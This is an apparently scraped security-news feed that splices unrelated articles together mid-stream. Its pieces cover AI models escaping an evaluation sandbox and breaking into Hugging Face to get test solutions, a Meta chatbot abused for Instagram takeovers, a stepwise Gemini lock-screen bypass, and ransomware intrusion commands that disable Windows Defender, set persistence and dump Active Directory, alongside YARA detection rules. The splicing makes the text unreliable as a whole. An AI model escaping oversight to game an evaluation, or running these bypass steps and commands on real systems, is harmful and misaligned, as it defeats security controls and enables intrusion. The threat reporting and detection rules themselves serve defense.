OpenAI and Hugging Face are investigating an AI security incident involving an AI agent that compromised infrastructure while models were being evaluated for advanced cyber capabilities. The incident was detected and contained after the models identified and chained vulnerabilities across OpenAI’s research environment and Hugging Face’s production infrastructure.

Hugging Face disclosed the incident last week, while OpenAI has now shared preliminary findings from its investigation. According to OpenAI, the activity involved a combination of models, including GPT 5.6 Sol and a more capable pre-release model, with reduced cyber refusals for evaluation purposes. The models were being tested against a benchmark designed to measure advanced cyber capabilities.

OpenAI described the incident as unprecedented and said it is continuing its investigation alongside Hugging Face. The company said the findings are being shared to help defenders understand what occurred and assess the capabilities of increasingly advanced AI models.

OpenAI and Hugging Face Investigate AI Security Incident

The incident took place during an internal evaluation designed to test models against advanced exploitation scenarios involving complex attack paths. OpenAI said the evaluation was conducted without production classifiers that normally prevent models from pursuing high-risk cyber activity.

The testing environment was designed to be highly isolated, with network access limited to package installation through an internally hosted third-party software system that functions as a proxy and cache for package registries.

Despite these restrictions, the models spent substantial inference compute attempting to obtain open Internet access. During this process, they identified and exploited a zero-day vulnerability in the package registry cache proxy. OpenAI said the vulnerability has since been responsibly disclosed to the vendor.

The models then carried out privilege escalation and lateral movement within the research testing environment until they reached a node with Internet access.

Models Chained Vulnerabilities Across Infrastructure

After obtaining Internet access, the models inferred that Hugging Face could host models, datasets and solutions related to the ExploitGym evaluation. The models then searched for ways to obtain secret information that could help them bypass the evaluation.

In one example described by OpenAI, the models chained multiple attack vectors, including stolen credentials and zero-day vulnerabilities, to identify a remote code execution path on Hugging Face servers.

OpenAI's security team detected the anomalous activity internally. Hugging Face's security team and agents also detected and stopped the activity on its infrastructure. The company had already begun containment and forensic reconstruction using its own open-source models when the two organizations connected.

Both companies are continuing to investigate the incident and its impact.

OpenAI Strengthens Security Controls After Incident

As part of its response, OpenAI said it is implementing stricter infrastructure configuration controls while identified vulnerabilities are patched. The company acknowledged that these measures could come at the cost of research velocity and said its Safety and Security Committee is being briefed on the controls and their impact.

OpenAI is also working with Hugging Face on the forensic investigation and has responsibly disclosed the identified zero-day vulnerability in the internally hosted third-party software.

The company has also brought Hugging Face into its trusted access program and is supporting its teams in using AI model capabilities to strengthen defenses.

OpenAI said it is improving protections around future training and evaluations, including stronger safeguards for model alignment, cybersecurity and monitoring during internal testing. The company noted that deployment safeguards were intentionally disabled during this evaluation because the goal was to measure cyber vulnerabilities.

AI Cyber Capabilities Raise New Security Concerns

OpenAI said the incident demonstrates the need for AI security and safety measures to keep pace with rapidly advancing model capabilities. The company is strengthening containment, monitoring, access controls and evaluation practices used during model development.

The incident also highlights how advanced models can potentially discover and exploit novel attack paths in real-world systems without access to source code. OpenAI said increasingly capable models should also be used defensively to help security teams identify weaknesses, understand vulnerability chains and accelerate remediation.

Hugging Face CEO Clem Delangue said the incident demonstrates the importance of collaboration in addressing AI safety and security challenges. Both organizations said they will continue investigating the incident and share additional findings and best practices as the work progresses.

Read more →

The post Identity Lifecycle Management Wasn’t Built for AI Agents appeared first on IT Security News.

That detail is easy to miss in the noise of every AI productivity claim. It is also the structural shift the rest of the industry is now living through. The bottleneck in software is no longer typing. It is deciding what to type. And the engineers who treat that as someone else's problem are about to plateau.

For most of the last decade, that decision sat with someone else. Software engineering was a craft you absorbed slowly, then practiced in a long, predictable sequence: Dive deep on the technology, write the code, ask Stack Overflow when stuck, escalate to a senior engineer when Stack Overflow failed, ship the ticket. The product manager owned the funnel. The engineer owned the build. Both sides treated this division as physics.

Then the funnel collapsed in five steps.

A short history of how the engineer's day got compressed

The Stack Overflow era (2014 to late 2022): The way engineers thought lived in one place. But new monthly questions on Stack Overflow are now down roughly 77% since November 2022, which was not coincidentally when ChatGPT launched. The drop is not a referendum on the site. It is a referendum on the workflow it represented.

The browser-tab era (late 2022 to 2024): The first ChatGPT generation sat outside the IDE. Engineers ran the same loop they had always run, just with a faster oracle: Write a prompt in a browser, paste the answer back into VS Code, repeat. The work was still single-threaded and engineer-driven. The leverage was real but local.

The IDE-native era (2024 to 2025): Cursor and Claude Code moved the model inside the editor and gave it access to the full repository. The senior-engineer escalation path largely dissolved. For years, the prevailing wisdom among veteran engineers was that Bash had the longest shelf life of any tool in the stack. By 2026, for a meaningful share of working developers, the first command typed in a fresh terminal is claude.

The spec-driven era (2025 to 2026): Larger context windows turned single-session work into something that previously required tickets, design docs, and sprints. Amazon's Kiro IDE team reportedly compressed feature builds from two weeks to two days using the same spec-driven workflow they were shipping. An AWS engineering team described an 18-month rearchitecture, originally scoped for 30 engineers, was completed by 6 people in 76 days. The bottleneck stopped being how long it takes to write the code. It started being how clearly the team can describe what correct looks like.

The routines era (2026): In April, Anthropic shipped Claude Code Routines: Scheduled, persistent agents that run on a cadence, on a webhook, or overnight while the laptop is closed. Cron came back. Hooks came back. The engineer's job is now part orchestration: Spin up a swarm before bed, review a stack of pull requests in the morning. Third-party wrappers like OpenClaw, which was briefly suspended by Anthropic in April before partial reinstatement, made the same point from the open-source side.

The bottleneck moved; most teams have not

Engineering has roughly tripled. Product management has not budged. The traditional 1:8 ratio of PMs to engineers, already strained, now plays out closer to an effective 1:20 because each engineer ships more per day. For instance, LinkedIn replaced its associate product manager track with a "Product Builder" program that trains generalists across product, design, and engineering. Anthropic is hiring more PMs, not fewer. The pattern is consistent across companies that have actually deployed agentic workflows in production: The system is producing built features faster than it is producing decisions about what should be built.

For engineers, this is the most important career signal of the decade, and the easiest one to miss while the productivity stories dominate the feed.

First principles matter more, not less

The instinct to declare fundamentals obsolete in the agent era gets the trend exactly wrong.

When a memory leak takes down production at 3 a.m., and the cause turns out to be a subtle ownership bug pushed 4 years ago, no agent currently in the wild closes that loop end-to-end. Operating systems, networks, concurrency, and query plans still decide who can resolve a real incident. They also decide who can spot the moments when an agent's output looks correct on the surface and is quietly, expensively, wrong underneath. The agent that wrote 70% of the code in a modern repo cannot reliably tell anyone where its assumptions about thread safety, memory ownership, or transaction isolation diverged from the runtime. The engineer who can read the diff and catch that is the engineer the rest of the team needs in the room, and that engineer is built on fundamentals, not on prompting skill.

The corollary is that fundamentals are now a leverage skill, not a hygiene skill. In 2014, knowing how a TCP retransmit worked got a debug ticket closed faster. In 2026, the same knowledge keeps an entire agent-driven release pipeline from shipping a regression at scale. The blast radius of the engineer who knows what is happening underneath has gone up, not down.

Review is the new writing

Engineers in 2026 generate code at a rate that exceeds what any of them can read carefully. The team that ships fast and survives is the team whose engineers treat reviewing AI-generated code with at least the same rigor they once reserved for writing it. The 2025 Stack Overflow developer survey put 84% of developers on AI tools, with 46% saying they do not trust the output, up sharply from 31% the year before. That gap, heavy use paired with low trust, is exactly where review skills now matter most. Coders who push lots and review little are accumulating a debt that will come due during the first real incident, and the engineer who can pay it back is the one who paired their volume with deep first-principles knowledge of the systems involved.

The new differentiator is the product funnel

Both of those are necessary. Neither is sufficient. The engineer who matters in 2026 is the one who has stopped waiting for the funnel to arrive in the form of a Jira ticket.

That means doing things the role was historically allowed to skip.

Talk to customers. Watch how they actually use the product. Read the support queue. Sit in on the sales call. The signal a product team gets through three layers of summary, an engineer can now get firsthand in an afternoon.

Generate ideas, not just estimates. The product manager who used to source ideas for 8 engineers cannot source ideas for 20 at the same fidelity. The engineer who shows up with a validated, scoped opportunity is no longer doing the PM's job. The engineer is doing the job the new ratio requires.

Work backwards from the customer. Amazon has been writing the press release first for two decades. The discipline travels well to teams of one and to swarms of agents. Both produce a great deal of working software in the wrong direction without a clear statement of what "customer wins" means before any code is written.

Stop hiding behind bandwidth. The honest answer to "Do you have capacity for this idea?" used to be 'No.' With routines, hooks, and a cooperative agent stack, the honest answer is closer to "What is the idea worth?" That is a different conversation, and a much harder one to have without a real point of view on the customer.

What the next decade rewards

The five-phase history above is not really a history of tools. It is a history of which part of the job a human had to do. The part that is still human, and that will remain human for the foreseeable future, has moved up the funnel: From typing, to reviewing, to deciding, to choosing the customer to serve and the problem to solve.

The 2026 version of a great engineer is not the one who writes the most code. It is the one who knows what to build, can prove it is worth building, and has the agent fleet plus the review discipline to ship it without the system collapsing under its own velocity.

Engineers who internalize this will spend the next decade doing the most interesting work software has ever produced. Engineers who wait for a ticket will spend it watching the ticket get written by the agent next to them.

Ishan Gupta is a software engineer at Amazon.

In drei Monaten wird Apple voraussichtlich das iPhone 18 Pro (Max) vorstellen und schon jetzt lässt sich wohl festhalten, dass wieder mal die Kamera verbessert ... Weiterlesen ...

Der Beitrag iPhone 18 Pro: Plateau wird durch Kamera-Verbesserungen größer erschien zuerst auf Apfelpage.

The post TIOBE Index June 2026: Rust Hits New High as Python Slips appeared first on TechRepublic.

The Cyber Express Weekly Roundup 

CBSE Re-Evaluation Portal Receives Final Security Clearance 

OpenAI Expands Lockdown Mode Across ChatGPT Accounts 

UK Courts Explore AI-Powered Legal Assistance 

Microsoft Issues Largest Patch Tuesday Update on Record 

ServiceNow Clarifies Nature of Recent Security Incident 

World Cup-Themed Scams Target Fans Ahead of FIFA 2026 

Weekly Cybersecurity Takeaway 

When people hear about hackers “asking an AI chatbot” to help them take over Instagram accounts, the instinctive reaction is to file it under prompt injection, jailbreaks, or “the model got tricked.”  That may be the wrong lesson.  According to reporting from 404 Media, hackers claimed they used Meta’s AI support chatbot to gain access to high-profile Instagram accounts by asking it to change the email address associated with the target account. The reported incidents coincided with several high-profile account takeovers, including accounts linked to the Obama White House, Sephora, and the Chief Master Sergeant of the Space Force.    […]

The post The Meta AI Account Recovery Incident Wasn’t Just a Chatbot Problem appeared first on Check Point Blog.

Read more →

The post The Meta AI Account Recovery Incident Wasn’t Just a Chatbot Problem appeared first on IT Security News.

A Bit of Context

Back in 2024, I found and reported a lock screen bypass involving Google Gemini to the Google Vulnerability Reward Program. Google acknowledged it, rewarded it, and published details in September 2025.

I assumed the chapter was closed.

Then in April 2026, on a fully updated Pixel 6a with the March 2026 security patch, I reproduced the same class of vulnerability using a different path. Same boundary. Different door.

What’s at Stake

An attacker with brief physical access to a locked Android device can without ever entering a PIN, pattern, or biometric switch Google accounts, modify security settings, read and exfiltrate Gemini conversation history, and set up persistent lock screen messaging and calling capabilities.

The device stays locked the entire time. No failed unlock attempts are logged. The victim has no indication anything happened.

How It Works

Step 1. Lock the device. Confirm PIN is required to access the home screen.

Step 2. Long-press the power button to invoke Gemini on the lock screen. This is by design — no authentication required at this step.

Step 3. Long-press the gear icon inside the Gemini overlay. Additional options surface.

Step 4. Select “Deep Research.” This is the pivot point. The full Gemini application launches — transitioning out of the constrained lock screen overlay into a full app context.

Step 5. Immediately press and hold the “+” icon. This races the re-authentication dialog that would normally appear, preventing it from taking focus. The prompt never completes & You’re in.

Proof of Concept

Video Demonstration

The video walks through the full chain — from a locked device through account switching, settings modification, and conversation access — with zero authentication at any step.

Root Cause

There are three things going wrong simultaneously:

1. No authentication check on context transition. When Deep Research launches the full Gemini app, Android does not verify the device is unlocked before granting access to privileged functionality. The launched from lock screen flag is simply not propagated to child activities.

2. A raceable re-authentication dialog. The re-auth prompt is a UI dialog — not a system-level gate. Holding the “+” icon at the right moment prevents it from taking focus. It’s a software lock with a physical bypass.

3. The original patch was too narrow. The previous fix addressed one specific navigation path. It didn’t address the underlying principle: any Gemini sub-feature capable of launching a full app context is a potential escape route.

The root issue isn’t Deep Research specifically. It’s that the lock screen boundary has no hard enforcement once you’re past the initial overlay.

What an Attacker Can Do

Once inside, the attack surface is significant:

• Account reconnaissance — tap the avatar to see every Google account signed into the device
• Persistent downgrade — enable “Perform actions on lock screen,” “Send messages,” and “Make calls” in Gemini settings. Every future lock screen interaction now has expanded capabilities — for anyone
• Data exfiltration — Gemini conversation history may contain sensitive personal, medical, financial, or professional queries. Share it to any external contact in seconds
• Anti-forensics — delete conversations after reading them. No trace left

The entire operation takes under 60 seconds and requires zero technical skill after the initial discovery.

The Fix

Three things need to happen:

1. Hard system gate, not a UI dialog. Any transition from a lock screen assistant overlay to a full application context must require authentication enforced at the WindowManager/system level — something that cannot be raced or suppressed by a UI interaction.
2. Feature restriction in lock screen context. Deep Research, account switching, settings, history access, and share/delete must be disabled when the device is locked — regardless of how the user navigated there.
3. Flag propagation. The launched from lock screen context must be inherited by every child activity and fragment. No sub-feature should be able to shed it.

And given this is the second bypass of the same boundary: a full audit of every Gemini entry point accessible from the lock screen is overdue.

Final Thought

Lock screen security is one promise an OS makes that users never think to question. When AI assistants start opening doors inside that boundary, the attack surface grows in ways that are hard to enumerate — and patchwork fixes will keep falling behind.

The right solution is a single, hard, non-raceable gate between “the overlay” and “the app.” Until that exists, the boundary is a suggestion.

Found this useful? Follow me for more security writups.

Android Lock Screen Bypass via Google Gemini — The Patch That Wasn’t (Status: Not Fixed) was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Read more →

The post The LA Metro Attack Wasn’t Hacktivism. It Was a State Operation With a Costume On. appeared first on IT Security News.

Written by: Bavi Sadayappan, Zach Riddle, Ioana Teaca, Kimberly Goody, Genevieve Stark

/Create /SC MINUTE /MO 720 /TN Reg /TR "C:\Windows\System32\rundll32.exe C:\windows\system32\config\red.dll Test" /ru system

powershell Import-Module ActiveDirectory; Get-ADUser -filter * -properties Enabled,DisplayName,Mail,SAMAccountName,homephone,ipphone,TelephoneNumber,comment,description,title | select Enabled,DisplayName,Mail,SAMAccountName,homephone,ipphone,TelephoneNumber,comment,description,title | export-csv C:\Users\Public\Music\users.csv 

powershell Import-Module ActiveDirectory; Get-ADComputer -Filter {enabled -eq $true} -properties *|select comment, description, Name, DNSHostName, OperatingSystem, LastLogonDate, ipv4address | Export-CSV C:\users\public\music\AllWindows.csv -NoTypeInformation -Encoding UTF8

cmd.exe /C netsh advfirewall firewall set rule group="remote desktop" new enable=No

powershell.exe -Command New-NetFirewallRule -Name sshd -DisplayName 'OpenSSH Server (sshd)' -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 22

esxcli system settings advanced set -o /User/execInstalledOnly -i 0

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f 

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f 

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f 

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f 

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f 

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f 

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1"

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f

cmd.exe /c reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f

rule M_APTFIN_Ransom_AGENDA_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"

	strings:
		$conf1 = "public_rsa_pem" fullword
		$conf2 = "private_rsa_pem" fullword
		$conf3 = "directory_black_list" fullword
		$conf4 = "file_black_list" fullword
		$conf5 = "file_pattern_black_list" fullword
		$conf6 = "process_black_list" fullword
		$conf7 = "win_services_black_list" fullword
		$conf8 = "company_id" fullword
		$conf9 = "note" fullword
		$load_const1 = { 21 B7 F6 F7 }
		$load_const2 = { F6 36 A4 69 }
		$load_s1 = "run_portable_executable" fullword
		$load_s2 = "MemoryLoadLibrary" fullword
		$load_s3 = "_ZN9morph_poc4main"
		$note1 = "Extension: "
		$note2 = "Domain: "
		$note3 = "login: "
		$note4 = "password: "
		$note5 = "Enter credentials-- Credentials"
		$note6 = "-- Qilin"
		$note7 = "-- Recovery"
		$note8 = "www.torproject.org"
		$note9 = ".onion"
		$note10 = "Employees personal data, CVs, DL , SSN."
		$note11 = "%s/%s_RECOVER.txt"
	condition:
		uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (7 of ($conf*) or 7 of ($note*) or all of ($load*))
}

rule M_Hunting_Win_Ransomware_AGENDA_RUST_2_MBeta {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"

	strings:
		$rust = "/rust/"
		$conf1 = "\"public_rsa_pem\":"
		$conf2 = "\"private_rsa_pem\":"
		$conf3 = "\"directory_black_list\":"
		$conf4 = "\"file_black_list\":"
		$conf5 = "\"file_pattern_black_list\":"
		$conf6 = "\"process_black_list\":"
		$conf7 = "\"win_services_black_list\":"
		$conf8 = "\"company_id\":"
		$conf9 = "\"n\":"
		$conf10 = "\"p\":"
		$conf11 = "\"fast\":"
		$conf12 = "\"skip\":"
		$conf13 = "\"step\":"
		$conf14 = "\"accounts\":"
		$conf15 = "\"note\":"
	condition:
		uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550 and filesize < 5MB and (($rust and 8 of ($conf*)) or (13 of ($conf*)))
}

rule M_Ransom_REDBIKE_2 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"

	strings:
		$a1 = ".akira"
		$a2 = "akira_readme.txt"
		$a3 = "akiralkzxzq2dsrzsrvbr2xgbbu2wgsmxryd4csgfameg52n7efvr2id"
		$s1 = "--encryption_percent" ascii wide nocase
		$s2 = "--encryption_path" ascii wide nocase
		$s3 = "--share_file" ascii wide nocase
	condition:
		((all of ($s*)) and (any of ($a*))) and (uint16(0) == 0x5A4D) and filesize > 500KB and filesize < 2MB
}

rule M_APTFIN_Ransom_REDBIKE_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"

	strings:
		$a = "akira_readme.txt"
		$b = "save your TIME, MONEY, EFFORTS"
		$c = "akiral2iz6a7qgd3ayp3l6yub7xx2uep76idk3u2kollpj5z3z636bad.onion"
		$d = "--encryption_percent"
		$e = "--encryption_path"
		$f = "--share_file"
	condition:
		all of them and (uint32be(0) == 0x7F454C46)
}

rule M_Hunting_CLOP_rol7XorHash32_ConfigHashes_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"

	strings:
		$hex_asm_literal_a = { 92 F7 53 7A }
		$hex_asm_literal_b = { 43 29 79 71 }
		$hex_asm_literal_c = { 2A 81 C4 E2 }
		$hex_asm_literal_d = { 2E F4 FA 7E }
		$hex_asm_literal_e = { 31 E5 7F 91 }
		$hex_asm_literal_f = { 16 24 45 D6 }
		$hex_asm_literal_g = { 56 22 93 EA }
	condition:
		all of them
}

rule M_Ransom_CLOP_3 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$str_jobmessage_a = "Successfully started daemon-name"
		$str_jobmessage_b = "Could not change working directory to /"
		$str_jobmessage_c = "Could not generate session ID for child process"
		$asm_code_fileordirectory = { 25 00 F0 00 00 3D 00 40 00 00 75 }
		$asm_functioncall_open64_readfile = { 80 01 00 00 C7 44 ( 2? | 6? | A? | E? ) ?? 02 00 00 00 }
		$asm_functioncall_open64_writebytes = { B4 01 00 00 C7 44 ( 2? | 6? | A? | E? ) ?? 42 00 00 00 }
		$asm_encryption_filebuffersize = { 00 E1 F5 05 76 ?? C7 45 ?? 00 E1 F5 05 }
		$asm_encryption_generatekey = { 1F 89 ( C? | D? | E? | F? ) C1 ( C? | D? | E? | F? ) 18 8D ( 0? | 1? ) ( 0? | 1? ) 25 FF 00 [0-2] 29 ( C? | D? | E? | F? ) 83 ( C? | D? | E? | F? ) 01 C9 }
	condition:
		uint32(0) == 0x464C457F and all of ($str_*) or (#asm_code_fileordirectory == 2 and #asm_functioncall_open64_writebytes == 2 and ($asm_encryption_generatekey and $asm_functioncall_open64_readfile and $asm_encryption_filebuffersize))
}

rule M_Ransomware_PLAYCRYPT_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_created = "2022-12-21"
		date_modified = "2022-12-21"
		rev = "1"
	strings:
		$c1 = { 8A CB 0F B6 D0 8B F2 8B FA D3 EE 8D 4B 01 D3 EF 83 E6 01 83 E7 01 }
		$c2 = { 8D 45 F0 C7 85 D0 FD FF FF 00 00 00 00 50 83 EC 08 }
		$c3 = { 8B 14 0A 8B 4C 32 20 03 D6 89 55 E0 03 CE }
		$c4 = { 8D 8D 80 ?? FF FF E8 C8 ?? FF FF 85 C0 75 61 83 BD [2] FF FF 05 76 58 }
		$c5 = { FF 76 ?? C6 45 EE 00 E8 [2] 00 00 8B F0 8B CF 33 C0 85 F6 0F 48 F0 E8 }
		$c6 = { FF D0 8B F8 83 FF 05 0F [2] 01 00 00 83 FF 06 0F [2] 01 00 00 8B 0E 3B 4E 04 0F [2] 01 00 00 83 FF 04 74 6D 83 FF 01 }
		$s1 = "OpaqueKeyBlob" wide
		$s2 = "AppPolicyGetProcessTerminationMethod"
	condition:
		uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize > 100KB and filesize < 200KB and ((2 of ($c*) and all of ($s*)) or (4 of ($c*)))
}

rule G_Ransom_PLAYCRYPT_LINUX_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$s1 = "First step is done."
		$s2 = "/dev/urandom"
		$s3 = "esxcli storage filesystem list > storage"
		$s4 = "hosts in exclusion:"
		$s5 = "encrypt: "
		$s6 = ".PLAY" fullword
	condition:
		uint32(0) == 0x464C457F and all of them
}

import "pe"

rule G_Ransom_SAFEPAY_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$hex_asm_snippet = { 10 27 00 00 [0-4] 10 27 00 00 }
	condition:
		pe.imphash() == "ff67c703589f775db9aed5a03e4489b0" and ($hex_asm_snippet)
}

rule G_Ransom_SAFEPAY_2 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$code_string_decode = { 8A C2 32 C1 32 44 0D ?? 34 ?? 88 44 0D ?? 41 83 F9 04 [4-64] B? 4D 5A 00 00 }
		$code_hardware_aes_check = { 0F A2 8B F3 5B 89 07 89 77 ?? 89 4F ?? 89 57 [0-12] ( 00 00 00 02 | C1 ?? 19 ) }
		$code_encrypt_file = { 14 00 10 00 [2-24] 14 00 10 00 [2-32] 00 10 00 5? [0-8] FF ( 15 | D? ) }
		$enc_str1 = { C7 45 ?? 67 4B 3D 49 C7 45 ?? 2F 4F 2F 4D }
		$enc_str2 = { C7 45 ?? 10 3C 51 3E C7 45 ?? 5C 38 4F 3A C7 45 ?? 42 34 58 36 C7 45 ?? 43 30 58 32 66 C7 45 ?? 2D 2C }
		$enc_str3 = { C7 45 ?? A3 8F FF 8D C7 45 ?? EF 8B E4 89 C7 45 ?? E0 87 E0 85 C7 45 ?? E7 83 EC 81 C7 45 ?? FB 9F E8 9D C7 45 ?? FF 9B 98 99 }
		$enc_str4 = { C7 45 ?? 44 40 51 47 C7 45 ?? 51 49 10 10 C7 45 ?? 03 48 43 42 C6 45 ?? 29 }
		$enc_str5 = { C7 45 ?? 77 77 73 74 C7 45 ?? 75 6D 64 70 C7 45 ?? 23 68 63 62 C6 45 ?? 09 }
	condition:
		uint16(0) == 0x5a4d and (all of ($code*) or (any of ($code*) and any of ($enc*)) or (2 of ($enc*)))
}

rule M_Ransom_INC_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$s1 = "[*] Count of arguments: %d" wide
		$s2 = "[-] Failed" wide
		$s3 = "[+] Start" wide
		$s4 = "INC-README" wide
		$s5 = "--debug" wide
		$s6 = "RECYCLE" wide
	condition:
		all of them and (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550)
}

rule M_Ransom_INC_2 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$s1 = "[+] Proccess %s with PID: %d was killed succesffully" wide
		$s2 = "[*] Sending note to printer:" wide
		$s3 = "[+] Recycling bin..." wide
		$s4 = "[*] Starting full encryption in 5s" wide
		$s5 = "[+] Successfully decoded readme!" wide
		$s6 = "[-] Failed" wide
		$lynx = "lynx" ascii wide nocase
	condition:
		$lynx and 4 of ($s*) and (uint16(0) == 0x5A4D) and filesize < 300KB and filesize > 50KB
}

rule G_Ransom_INC_3 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$s1 = "[+] Proccess %s with PID: %d was killed succesffully" wide
		$s2 = "[*] Sending note to printer:" wide
		$s3 = "[+] Recycling bin..." wide
		$s4 = "[*] Starting full encryption in 5s" wide
		$s5 = "[+] Successfully decoded readme!" wide
		$s6 = "[-] Failed" wide
		$sin = "sinobi" ascii wide nocase
	condition:
		$sin and 4 of ($s*) and (uint16(0) == 0x5A4D) and filesize < 400KB and filesize > 50KB
}

rule M_Ransom_INC_2 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$s1 = "[*] Count of arguments: %d"
		$s2 = "[-] Failed"
		$s3 = "[+] Start"
		$s4 = "INC-README"
		$s5 = "--debug"
		$s6 = "vmsvc"
	condition:
		all of them and uint32(0) == 0x464c457f
}

rule M_Ransom_RANSOMHUB_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$str1 = "json:\"settings\""
		$str2 = "json:\"extension\""
		$str3 = "json:\"net_spread\""
		$str4 = "json:\"local_disks\""
		$str5 = "json:\"running_one\""
		$str6 = "json:\"self_delete\""
		$str7 = "json:\"white_files\""
		$str8 = "json:\"white_hosts\""
		$str9 = "json:\"credentials\""
		$str10 = "json:\"kill_services\""
		$str11 = "json:\"set_wallpaper\""
		$str12 = "json:\"white_folders\""
		$str13 = "json:\"note_file_name\""
		$str14 = "json:\"note_full_text\""
		$str15 = "json:\"kill_processes\""
		$str16 = "json:\"network_shares\""
		$str17 = "json:\"note_short_text\""
		$str18 = "json:\"master_public_key\""
	condition:
		14 of them
}

rule G_Ransom_FURYSTORM_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$s1 = "Whitelist VM id"
		$s2 = "gwfn6l3bk45o2zecvi7xtyqrpsudmahj"
		$s3 = "Dry-run"
		$s4 = "-paths"
		$s5 = "-vmsvc"
		$s6 = "Note: motd=%d login=%d clean=%d"
		$s7 = "Cryptor args"
		$s8 = "VMX found"
		$s9 = "Keys: %016l"
		$s10 = "vim-cmd"
		$s11 = "Dropping readme"
		$s12 = "Encryption params"
	condition:
		uint32(0) == 0x464c457f and filesize > 50KB and filesize < 700KB and 6 of them
}

rule G_Ransom_FURYSTORM_2 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$s1 = "Failed decrypt file:"
		$s2 = "Decryptor args:"
		$s3 = "Private key loaded"
		$s4 = "Keys: %016l"
		$s5 = "Dry-run"
		$s6 = "Encryption params"
		$s7 = "Whitelist paths"
		$s8 = "Note: motd=%d"
	condition:
		uint32(0) == 0x464c457f and filesize > 50KB and filesize < 300KB and 6 of them
}

rule M_Autopatt_Ransom_FIREFLAME_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$p00_0 = { 8B CE 8D 5F ?? 8A 01 8D 49 ?? 0F B6 C0 83 E8 ?? 8D 04 40 C1 E0 ?? 99 }
		$p00_1 = { 55 8B EC FF 75 ?? E8 [4] 59 8B 4D ?? 89 01 F7 D8 1B C0 }
	condition:
		uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (($p00_0 in (0 .. 380000) and $p00_1 in (260000 .. 280000)))
}

Before we dig into that, let’s go back to the early days of the x86 industry. IBM had launched the PC built almost entirely around off-the-shelf Intel components, and shipped full schematics in the IBM PC Technical Reference Manual. Anyone could buy the same parts from Intel and build a compatible board. They’d still need an operating system, but Microsoft was happy to sell MS-DOS to anyone who’d turn up with money. The only thing stopping people from cloning the entire board was the BIOS, the component that sat between the raw hardware and much of the software running on it. The concept of a BIOS originated in CP/M, an operating system originally written in the 70s for systems based on the Intel 8080. At that point in time there was no meaningful standardisation - systems might use the same CPU but otherwise have entirely different hardware, and any software that made assumptions about the underlying hardware wouldn’t run elsewhere. CP/M’s BIOS was effectively an abstraction layer, a set of code that could be modified to suit the specific underlying hardware without needing to modify the rest of the OS. As long as applications only called BIOS functions, they didn’t need to care about the underlying hardware and would run on all systems that had a working CP/M port.

By 1979, boards based on the 8086, Intel’s successor to the 8080, were hitting the market. The 8086 wasn’t machine code compatible with the 8080, but 8080 assembly code could be assembled to 8086 instructions to simplify porting old code. Despite this, the 8086 version of CP/M was taking some time to appear, and a company called Seattle Computer Products started producing a new OS closely modelled on CP/M and using the same BIOS abstraction layer concept. When IBM started looking for an OS for their upcoming 8088 (an 8086 with an 8-bit data bus rather than a 16-bit one) based PC, a complicated chain of events resulted in Microsoft paying a one-off fee to Seattle Computer Products, porting their OS to IBM’s hardware, and the rest is history.

